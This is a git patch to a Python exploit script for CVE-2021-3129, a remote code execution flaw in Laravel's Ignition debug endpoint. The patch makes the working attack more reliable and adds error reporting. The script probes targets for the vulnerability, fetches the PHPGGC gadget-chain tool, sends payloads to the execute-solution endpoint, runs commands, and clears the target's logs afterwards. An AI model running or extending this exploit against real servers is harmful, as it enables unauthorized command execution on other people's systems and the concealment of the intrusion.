From e99b41f052f984d825d4da81ac9b0f0cb93fe966 Mon Sep 17 00:00:00 2001 From: Joshua van der Poll Date: Sun, 19 Feb 2023 17:19:48 +0100 Subject: [PATCH] Improved request speed, Fixed windows support, Better errors --- CVE-2021-3129.py | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/CVE-2021-3129.py b/CVE-2021-3129.py index 0b064f3..151db86 100644 --- a/CVE-2021-3129.py +++ b/CVE-2021-3129.py @@ -46,6 +46,7 @@ def __init__(self, host, force=False, log_path=None, useragent=False, chain="mon self.useragent = self.random_useragent() if useragent else "Python" self.chain = chain self.php_executable = php_executable + self.session = requests.session() self.start() @@ -135,6 +136,14 @@ def cmd_execute_cmd(self, cmd): print(GREEN + "[√] Result:") result = exploited.text.split("")[1] print(END + result) + else: + error_search = r"🧨 (.*?)<\/title>" + error_result = re.search(error_search, exploited.text) + if error_result: + print(RED + f"[!] Failed execution of payload.\nError: \"{error_result[1]}\"") + else: + print(RED + "[!] Failed execution of payload.") + print(BLUE + "[@] Clearing logs...") # Step 6. Remove logs so phar is not downloadable/executable. if self.exploit_clear_logs().status_code != 200: @@ -188,7 +197,7 @@ def setup_phpggc(self): print(BLUE + "[@] Downloading PHPGGC from \"ambionics/phpggc\" GitHub repository...") # Download repository zip - request = requests.get("https://github.com/ambionics/phpggc/archive/refs/heads/master.zip", + request = self.session.get("https://github.com/ambionics/phpggc/archive/refs/heads/master.zip", verify=False, allow_redirects=True, headers={"User-Agent": self.useragent}) open(zip_path, "wb").write(request.content) @@ -278,7 +287,7 @@ def exploit_request(self, value: str, expected_response: int = 200) -> requests. "User-Agent": self.useragent } - request = requests.post(url=f"{self.host}_ignition/execute-solution", json=data, headers=headers, verify=False) + request = self.session.post(url=f"{self.host}_ignition/execute-solution", json=data, headers=headers, verify=False) if request.status_code != expected_response: print( RED + f"[!] Exploit request returned status code {request.status_code}. Expected {expected_response}.") @@ -296,7 +305,7 @@ def exploit_request(self, value: str, expected_response: int = 200) -> requests. def is_vulnerable(self): print(DARKCYAN + f"[@] Testing vulnerable URL {self.host}_ignition/execute-solution...") - request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False, headers={"User-Agent": self.useragent}) + request = self.session.get(url=f"{self.host}_ignition/execute-solution", verify=False, headers={"User-Agent": self.useragent}) # Check vulnerable url by sending invalid GET request (only POST allowed) if request.status_code != 405: @@ -304,9 +313,11 @@ def is_vulnerable(self): if not self.force: return False # Check if vulnerable url contains signs of Laravel - # TODO Check more specific details if "laravel" not in str(request.content): - print(RED + f"[•] Host does not seems like Laravel. No \"laravel\" found in body.") + if "405 method not allowed" in str(request.content).lower(): + print(RED + f"[•] Host refused request method.") + else: + print(RED + f"[•] Host does not seems like Laravel. No \"laravel\" found in body.") if not self.force: return False if not self.force: print(GREEN + f"[√] Host seems vulnerable!") @@ -358,8 +369,8 @@ def find_log_path(self, content): log_path = f"{root_path}/storage/logs/laravel.log" if "\\\\vendor\\\\laravel\\\\framework" in file_path: # Windows system print(BLUE + f"[•] Laravel seems to be running on a {DARKCYAN}Windows{BLUE} based machine.") - root_path = file_path.split("\\\\vendor\\\\laravel\\\\framework")[0] - log_path = f"{root_path}\\\\storage\\\\logs\\\\laravel.log" + root_path = file_path.split("\\\\vendor\\\\laravel\\\\framework")[0].replace("\\\\", "\\") + log_path = f"{root_path}\\storage\\logs\\laravel.log" return log_path